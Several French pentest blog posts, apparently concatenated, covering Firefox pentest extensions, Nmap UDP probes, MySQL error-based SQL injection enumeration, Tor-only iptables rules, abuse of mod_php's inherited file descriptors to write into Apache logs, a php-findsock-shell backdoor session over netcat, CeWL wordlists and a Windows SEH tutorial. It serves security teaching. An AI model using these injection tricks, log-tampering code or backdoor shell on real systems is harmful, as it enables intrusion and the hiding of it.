J’utilise toutes ces extensions dans un profil utilisateur special dédié au pentest, il vaut mieux éviter d’utiliser 15 000 extensions simultanément dans Firefox pour des questions de stabilité/performance/ergonomie.

Cette liste représente quasiment l’intégralité des extensions que j’utilise pour les pentests, il y en a beaucoup moins que dans le catalogue FireCat, mais ça me suffit largement pour faire tout ce que je veux .

• UrlParams

Probablement l’extension dont je me sers le plus souvent, elle permet de modifier rapidement les paramètres GET/POST et le referrer. Ça me permet d’éviter d’avoir à utiliser Burp pour des opérations assez simples comme modifier les données POST.

• Hack Bar

Très pratique pendant l’exploitation des injections SQL, surtout quand les quotes sont bloqués, l’extension vous permet de convertir une chaine de caractère en son équivalent CHAR( ASCII )… Elle contient aussi quelques fonctions d’encodage et de chiffrement bien pratique. Un must have.

• Firebug

Très utilise pour le développement Web et donc très pratique pour le développement des exploits XSS. Je m’en sers principalement pour faire joujou avec la console Javascript, analyser la structure DOM et voir les requêtes javascript XHR faites en arrière-plan.

• Firecookie

Pour jouer avec les cookies.

• Force Content-Type

Très pratique lorsque le navigateur Firefox gère spécifiquement certains types de fichier comme les pdfs ou les fichiers audios, cette extension permet d’afficher directement le fichier en brut dans le navigateur et de ne pas lancer l’application. Utile lorsque l’on trifouille des pages qui génèrent dynamiquement un certain type de fichier.

• Web Developer

Encore une extension pour le développement web, elle est très utile pour effacer ses cookies, afficher les mots de passe en clair, désactiver le chargement des images, voir les commentaires… Il y a vraiment plein d’options très utiles…

• Yes Script

Contrairement à NoScript qui fonctionne sur un système de whitelist (tous les scripts sont bloqués par défaut, il faut les autoriser un par un), YesScript fonctionne sur un système de blacklist. Utile lorsque l’on audite des sites avec des animations Flash et Javascript qui consomme 99% du CPU …

• Foxy Proxy

En plus de permettre de changer rapidement de proxy, FoxyProxy offre la possibilité de choisir un proxy dynamiquement en fonction de l’URL.

• Torbutton

Indispensable lorsque l’on utilise Tor, bloque tous les tricks connus qui permettent de démasquer un utilisateur anonyme (historique, applet Java, Flash…). Bien sûr quand on utilise Tor, il vaut mieux être vraiment sûr que tout passe par Tor.

• Maltego Mesh

À la base Maltego est un outil spécialisé dans la recherche d’informations. Cette extension permet de mettre en évidence certains types d’information affichés sur une page comme des adresses IPs, des emails, des numéros de téléphone, des noms de famille… Bien pratique, cependant, je laisse cette extension désactiver par défaut, elle est instable consomme énormément de CPU.

• Modify Headers

Comme son nom l’indique, elle permet de modifier les en-têtes HTTP. Je me sers rarement de cette extension, je préfère passer par Burp.

• BugMeNot

Cette extension n’est pas vraiment en rapport avec les pentests mais je l’aime bien . bugmenot.com recense des logins/passwords pour des milliers de sites. Elle vous permet de vous identifier en un click sur des sites demandant un compte utilisateur pour accéder à certaines sections… Gros gain de temps

• Autofill Forms

Permet de remplir un profil utilisateur avec des paramètres prédéfinis (adresse email , nom, age, ville…). Fait gagner du temps.

Et voilà, c’est fini, la prochaine je balancerai peut être une liste de bookmarks intéressants…

Il faut savoir qu’une extension malicieuse peut être entièrement faite en JavaScript et être totalement portable. Les composants XPCom apportent des fonctions au langage JavaScript qui permettent de lancer des processus, sniffer les connexions HTTPS en clair, jouer avec les sockets (Proxy, UPNP…), récupérer les mots de passe stockés, accéder au système de fichiers, tout en bypassant le firewall…

D’après les dires du security blog, Mozilla utilise plusieurs scanners anti-malware pour éviter ce genre de désagrément :

These were not originally detected with the anti-malware scanning tools that we have been using.

Cependant, j’aimerai attirer votre attention sur un détail, JavaScript met à notre disposition de nombreuses possibilités pour obfuscer son code. Ces techniques sont couramment utiliser dans les attaques Web (iframe). Par exemple, la fonction eval() permet d’interpréter le code JavaScript passé en paramètre à cette fonction. Cela rend alors totalement useless les recherches par signature.

// var signature = "something_bad();";
var signature_crypt = "XAQDFQDFQSDFQSDF";
eval(decrypt(signature_crypt));

Bien sûr, il est possible que les supers scanners de Mozilla gère ce type d’obfuscation, mais en attendant, ils viennent de laisser passer deux malwares, et peut-être beaucoup plus… FEAR.

o For some UDP ports, Nmap will now send a protocol-specific payload
that is more likely to get a response than an empty packet is. This
improves the effectiveness of probes to those ports for host
discovery, and also makes an open port more likely to be classified
open rather than open|filtered. The ports and payloads are defined
in payload.cc. The ports that have a payload are 7 (echo),
53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp),
177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius),
2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David]

Par scan applicatif j’entends que nmap va envoyer des paquets contenants des données spécifiques au protocole du port concerné. Par exemple pour le port 53, nmap va envoyer une requête DNS et vérifier qu’il reçoit bien une réponse DNS afin de déterminer si le service est open.

Voici un petit extrait du nouveau fichier payload.cc qui contient les nouvelles requêtes :

/*
  These payloads are sent with every host discovery or port scan probe. Only
  include payloads that are unlikely to crash services, trip IDS alerts, or
  change state on the server.
 
  Some of them are taken from nmap-service-probes.
*/
 
static const char payload_GenericLines[] = "\x0D\x0A\x0D\x0A";
static const char payload_DNSStatusRequest[] =
  "\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00";
static const char payload_RPCCheck[] =
  "\x72\xFE\x1D\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0"
  "\x00\x01\x97\x7C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00";

C’est une très bonne nouvelle, le scan de port UDP sera dorénavant beaucoup plus fiable et ne reposera plus uniquement sur l’absence de réponse ICMP pour déterminer si un port UDP est open (du moins pour les ports cités dans le changelog).

Exemple sur un serveur qui ne renvoie jamais les paquets ICMP:

pierre@linux:/pentest/scanning$ sudo nmap -sU -sS -pT:22,80,U:53,111 94.23.57.7
 
Starting Nmap 5.21 ( http://nmap.org ) at 2010-02-01 08:47 CET
Nmap scan report for ks301922.kimsufi.com (94.23.57.7)
Host is up (0.030s latency).
PORT    STATE         SERVICE
22/tcp  open          ssh
80/tcp  open          http
53/udp  open          domain
111/udp open|filtered rpcbind
 
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

mysql> SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();
 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    | 
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL | 
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  | 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)

Youpi, la requête nous liste les noms des colonnes, la table et la base de données concernées par la requête ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : Field_name | Min_value | Max_value | ... au lieu de idClient | name | pass. Concrètement, cela veut dire qu’on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table ( $row[0] et pas $row["idClient"] ), ce qui est plutôt rare…

Un autre truc (corrigé sur Mysql 5.1) que j’ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l’on a découvert le nom de la table on peut tester un truc dans le genre :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);
 
ERROR 1241 (21000): Operand should contain 3 column(s)

Youpi car ça nous retourne le nombre de colonnes, mais c’est maintenant que ça devient intéressant, toujours à l’aide des messages d’erreurs on va pouvoir lister le nom de chacune d’entre elles :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);
 
"Column 'idClient' cannot be null"

Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l’attribut NOT NULL

Bon allez, j’arrête de donner des petits trucs foireux, passons aux choses sérieuses avec ce script maison en PERL qui cherche les noms des tables à partir d’une wordlist :

pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
 
[*] Table found : client
 
pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
 
[*] Column found : name
[*] Column found : pass

Je me suis pas pris la tete pour dev le script, il faut bidouiller le code pour personnaliser l’attaque en fonction l’injection… J’espère que vous comprendrez, sinon tant pis

Bien sûr il vous faut une wordlist pour exécuter ce script (on laisse ce plaisant exercice au lecteur).

Passez de joyeuses fêtes !

Cependant, il reste un problème : Torbutton ne gère que les connexions liées à Firefox, pour les autres applications, comment s’assurer qu’elles utilisent uniquement le proxy tor ? Une très bonne solution consiste à gérer le problème à la racine, c’est à dire en autorisant uniquement les connexions du processus tor via un firewall. Voici comment faire avec iptables.

Tout d’abord, il est nécessaire de créer un utilisateur pour tor et d’exécuter le processus avec celui-ci. Vous pouvez lancer tor directement avec l’utilisateur en question ou bien lancer tor avec les droits root et entrer la ligne suivante dans le fichier de configuration torrc :

User tor

Ensuite il nous reste à configurer iptables :

# Vide les règles déjà présentes
iptables -F INPUT
iptables -F OUTPUT
 
# Bloque tout par défaut
iptables -P INPUT DROP
iptables -P OUTPUT DROP
 
# Autorise toutes les connexions locales
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
 
# Autorise uniquement les processus de l'utilisateur tor à établir des connexions
iptables -A OUTPUT -m owner --uid-owner tor -j ACCEPT
 
# Accepte uniquement les connexions que l'on a initiées
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
 
# Sauvegarde le tout 
iptables-save > /etc/iptables/tor

Et voilà, lors de l’utilisation de Tor on pourra mettre en place ces règles iptables afin d’être sur de communiquer uniquement via ce réseau.

iptables-restore < /etc/iptables/tor

Le mod_php ne ferme pas les descripteurs de fichiers dont il a hérité avant d’exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l’on exécute le code suivant :

<?php
    print posix_getpid()."\n";
    flush();
    sleep(30);    
?>

Et que l’on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :

root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -> /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -> /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -> anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -> socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -> /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -> socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -> socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -> /var/log/apache2/error.log
l-wx------ 1 root root 64 2009-12-07 12:34 8 -> /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -> /var/log/apache2/access.log
 
root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode

On peut voir que le processus en cours, qui n’est rien d’autre qu’un simple script php exécuté avec les droits d’Apache, possède des descripteurs de fichiers des logs Apache ouverts en écriture, un descripteur sur le socket en écoute sur le port 80…

Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP autorise par défaut des fonctions permettant d’exécuter un fichier binaire ( la fonction system() par exemple) .

Le code suivant permet d’écrire n’importe quoi dans tous les logs Apache :

int main(int argc,char * argv[]){
    int fd;
    int flag,accmode,val;
    struct stat fileinfo;
    char buffer[1024] = "AAAAA";
    int count;
 
    for (fd=0; fd<getdtablesize(); fd++) {
        memset(&fileinfo, 0,sizeof(fileinfo));
        if(!fstat(fd, &fileinfo)){
            if( S_ISREG(fileinfo.st_mode)){
                if( (flag = fcntl(fd, F_GETFL)) != -1 && (flag & O_WRONLY) ){
                    if( (count = write(fd, buffer, 5)) == -1)
                        printf( "%s ",strerror(errno));
                    else
                        printf(" %d ",count);
                }
                printf("\n");
            }                
        }
    }
    return 1;
}

Déterminer clairement quel est le fichier de log ouvert à partir d’un descripteur de fichier reste difficile, on obtient facilement l’inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possédent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.

J’étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en Write Only et il semble impossible de changer ce mode en Lecture / Ecriture sur un déscripteur de fichier ( man fcntl )… On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à un admin level 70 ).

Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir ici une preuve de concept monstrueuse que j’ai découverte sur un bug report de php.net. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.

La meilleure utilisation de cette vulnérabilité reste la backdoor PHP find-sock-shell de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu’une banale r57shell ou autre c99.

$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0
 
sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...

Longue vie à PHP.

Dans le même genre je connaissais wyd.pl mais en beaucoup moins pratique, car il fallait faire un script pour télécharger les sources HTML, alors qu’avec Cewl tout est fait en une seule ligne de commande (même s’il faudra faire un peu le ménage à coup de grep/diff/comm).

Le tool extrait également des adresses emails ainsi que les meta data des fichiers Doc et PDF (un peu comme metagoofil et theharverster qui utilise les moteurs de recherche).

Bon voici comment ça marche :

pierre@linux:/pentest/ig/cewl$ ./cewl.rb -w /tmp/wordlist.txt -d 1 -m 5 http://www.indahax.com
pierre@linux:/pentest/ig/cewl$ tail /tmp/wordlist.txt 
whereis
which
win32
windows
wordpress
write
wrote
yahoo
yopmail
zombie

Facile non ? Bon j’ai rajouté une option max_word_length dans le script car je me retrouvais parfois avec des mots useless d’une longueur > 20.

Pour les feignants(noob?) comme moi qui ne jurent que par apt-get, les librairies nécessaires pour faire fonctionner le script ne sont pas dans les dépots. Il faut y aller à coup de gem install lib_ruby, elles sont installées dans /var/lib/gems/1.8/gems/nom_de_la_lib/lib/ alors que le path des librairies ruby est /usr/lib/ruby/1.8/nom_de_la_lib sur Ubuntu.

1. C’est quoi un SEH ?

C’est un gestionnaire d’exception qui permet au programmeur de gérer une exception lui même plutôt que de laisser le programme le faire (ce qui aboutit généralement à un ExitProcess() ). Concrètement ils sont représentés en C par les instructions __try / __except / __finally. Parmi les exceptions on peut distinguer :

• Les exceptions materielles : typiquement un ACCESS_VIOLATION ou DIVISION_BY_ZERO, c’est le style d’exception que l’on rencontre le plus souvent.
• Les exceptions logicielles : c’est le programmeur lui même qui créé ce type d’exception, il les déclenche à l’aide d’une fonction RaiseException() . Un programmeur peut par exemple créer une exception NOT_ENOUGH_MEMORY lorsqu’il n’arrive plus à allouer de mémoire.

Un SEH est responsable d’une portion de code sur laquelle il peut intercepter des exceptions. Dans cette section de code il peut également y avoir d’autre SEH qui gère eux aussi d’autre portion de code.

SEH1[
  //code protégé par SEH1
  SEH2[
    //code protégé par SEH2, SEH1
    SEH3[
      ...
    ]
  ]
]

Donc dans un programme on a pas un SEH mais plusieurs, et à différent niveau, lorsqu’un SEH ne gère pas une exception il la passe au SEH du niveau supérieur. En mémoire ils sont représentés sous forme d’une liste chainée dans la pile (on verra çà plus en détail après).

Que se passe-t-il lorsqu’une exception est déclenchée ?

Le système va passer en mode noyau, il va effectuer quelques opérations notamment un dump des registres du processeur ( le contexte ) qu’il va placer sur la pile du thread. Il repasse ensuite en mode utilisateur dans la fonction KiUserExceptionDispatcher() de ntdll.dll.

Si le processus est en cours de débgage le programme va passer la main au débuggeur qui va lui même gérer l’exception. S’il n’y a pas de débuggeur, ou qu’il ne gère pas l’erreur, l’exception va être retransmise au premier SEH, c’est à dire celui qui est le plus proche de là où a été générée l’exception. Ce gestionnaire va alors regarder s’il est capable de gérer l’exception :

• S’il en est capable, le SEH fait alors son traitement, par exemple il peut essayer d’obtenir des informations sur la cause de l’erreur pour générer des informations utiles au débuggage, ou bien il peut choisir d’essayer de corriger l’erreur par modification de variable, des registres… Dans tous les cas il pourra choisir de reprendre l’exécution là où l’erreur à eu lieu ou bien après la portion de code qu’il protège.
• S’il n’est pas capable de la gérer il la passe alors au SEH du niveau du dessus et ainsi de suite jusqu’à atteindre le dernier SEH.

Le comportement du dernier SEH peut dépendre des logiciels que vous avez installés sous Windows, mais sur un Windows par défaut, il va créer une boite de dialogue avec quelques informations sur l’état des registres et faire un appel à ExitProcess() pour quitter l’application. Si vous avez installé un debuggeur, Windows vous proposera de lancer le débuggeur Just In Time…

1. Au niveau assembleur

Les SEH sont stockés dans la pile sous forme d’une liste chainée. La structure d’un SEH est de la forme :

_EXCEPTION_REGISTRATION struc
     prev    dd      ?
     handler dd      ?
 _EXCEPTION_REGISTRATION ends

prev représente un pointeur sur le précédent SEH et handler est un pointeur vers la fonction qui va être appelée lorsqu’une exception sera levé.

Le début de cette liste chainée est stocké dans la TEB (Thread Environnement Block) dans le registre de segment fs en fs:[0]. Cela signifie également qu’une liste de SEH est propre à un thread et non à un processus.

fs:[0] pointe toujours vers le dernier SEH installé,c’est le premier qui sera appelé en cas d’exception.

Le premier SEH installé est différencié des autres par son pointeur prev qui a la valeur 0xFFFFFFFF, il est mis en place à la création du processus (dans BaseProcessStart ) et avant l’entrée dans le main()/WinMain() . Si une exception est déclenchée et qu’aucun SEH n’a géré cette exception, alors ce dernier SEH va appeler la fonction UnhandledExceptionFilter() . C’est cette fonction qui créé la boite de dialogue avec les infos sur les registres ou qui propose de lancer le debugeur en dernier recours (Le fameux Just In Time Debugging ) . Il est possible de modifier le comportement de ce seh en appelant la fonction SetUnhandledExceptionFilter() .

Pour mettre en place un SEH en assembleur on peut procéder de cette manière :

; adresse du handler
push handler
; adresse de la structure SEH précédente
push fs:[0]
; fait pointer fs:[0] vers notre nouveau SEH
mov fs:[0],esp
; ici le code protégé par le seh
; ...
 
;on enléve le SEH
pop fs:[0]
add esp,4
ret
 
; notre handler
handler:
; ...

Une fois dans le handler
Lorsque le handler d’un SEH est appelé, des informations concernant l’exception sont mis en place sur la pile :

La structure EXCEPTION_RECORD contient des informations sur l’exception comme :

• Le code de l’exception (ACCESS_VIOLATION, etc.)
• Les flags : par exemple ils permettent de savoir si c’est une exception non continuable, si on est dans l’appel du stack unwinding (2éme appel du handler cf après)…
• L’adresse où a eu lieu l’exception.

C’est à partir de cette structure que le handler va pouvoir déterminer s’il a la capacité de gérer une exception.

La structure CONTEXT permet d’avoir des informations sur l’état des registres lorsque l’exception a eu lieu, c’est cette structure qu’il faut modifier si on veut reprendre l’exécution à un autre endroit en modifiant EIP.

Et enfin un pointeur vers le SEH que l’on avait mis sur la pile pour garder la portion de code où a eu lieu l’exception. Le fait d’avoir un pointeur vers ce SEH signifie que l’on peut construire un SEH personnalisé afin d’y intégrer des informations supplémentaires. Par exemple, on pourrait avoir besoin d’avoir une adresse pour reprendre l’exécution à un endroit sûre. Voici un exemple de code qui exploite ce système de SEH étendue :

.386                      ; force 32 bit code
.model flat, stdcall      ; memory model & calling convention
option casemap :none      ; case sensitive
 
include c:\masm32\include\windows.inc
 
MYSEH STRUCT
	prev		DWORD ?
	handler	DWORD ?
	safeeip	DWORD ?
MYSEH ENDS
 
.code
start:
 
main PROC
assume fs:nothing
 
; on mets en place un SEH étendu
push safeip			; notre champ supplémentaire safeeip
push handler		; le handler
push fs:[0]			; l'adresse du SEH suivant
 
mov fs:[0],esp		; on installe notre seh
 
xor eax,eax
mov [eax],eax		; on génére un ACCESS_VIOLATION
jmp endx
 
handler:
; esp == ret eip
; esp + 0x04 == EXCEPTION_RECORD*
; esp + 0x08 == MYSEH*
; esp + 0x0C == CONTEXT
 
; est ce un ACCESS_VIOLATION ?
mov ebx,[esp+04h]
cmp (EXCEPTION_RECORD PTR [ebx]).ExceptionCode, 0C0000005h
jz AViol
 
; si ce n'est pas un ACCESS_VIOLATION on donne la main au handler suivant
mov eax,ExceptionContinueSearch
ret
 
AViol:
; si c'est un ACCESS_VIOLATION on reprend l'execution en myseh.safeeip
mov ebx,[esp+08h]	; ecx == MYSEH
mov ecx,[esp+0Ch]	; ebx == CONTEXT
 
mov edx,(MYSEH PTR [ebx]).safeeip
mov (CONTEXT PTR [ecx]).regEip, edx
 
mov eax, ExceptionContinueExecution
ret
 
safeip:
endx:
; on enléve le SEH et restaure l'ancien
pop fs:[0]
add esp,8
 
ret
 
main endp
end start

Le compilateur windows utilise ce système de SEH étendue en réalisant une structure beaucoup plus complexe que le EXCEPTION_REGISTRATION vu au début.

The stack unwinding

En réalité le handler d’un SEH qui ne gère pas une exception doit être appelé une seconde fois. Ce deuxième appel est déclenché par le handler qui a décidé de gérer l’exception, il va reparcourir la liste des SEH depuis le début et exécuter une deuxième fois le handler de chaque SEH qui le précède, en rajoutant le flag EH_UNWINDING au niveau des Exceptions Flag de la structure EXCEPTION_RECORD pour que les handlers puissent différencier les 2 appels.

Ici l’action est bien déclenchée par le handler qui gère l’exception et non par le système, c’est à dire que c’est au programmeur d’implémenter cette fonctionnalité. Cela peut être fait en appelant la fonction RtlUnwind() (cf l’article de J. Gorgon pour plus d’info ) .

Le rôle du stack unwinding est de nettoyer les variables de la portion de code qui a déclenché l’exception, par exemple c’est à ce moment qu’il est utile de fermer les handles, libérer la mémoire… Concrètement ce deuxième appel correspond au bloc __finaly en C.

De plus, si l’exécution reprend à partir d’un SEH de niveau supérieur, alors le stack unwinding est également responsable d’enlever de la liste des SEH tout ceux qui ont été mis après ce SEH (c’est à dire les SEH qui ne porte plus sur le code courant ).

Voilà c’est tout pour aujourd’hui, par la suite nous verrons comment sont implémentés les SEH dans les compilateurs, comment les exploiter lors d’un débordement de tampon et les nouvelles protéctions misent en place par Windows (Safe SEH).

Réferences :

http://www.microsoft.com/msj/0197/Exception/Exception.aspx

http://msdn.microsoft.com/en-us/library/swezty51(VS.80).aspx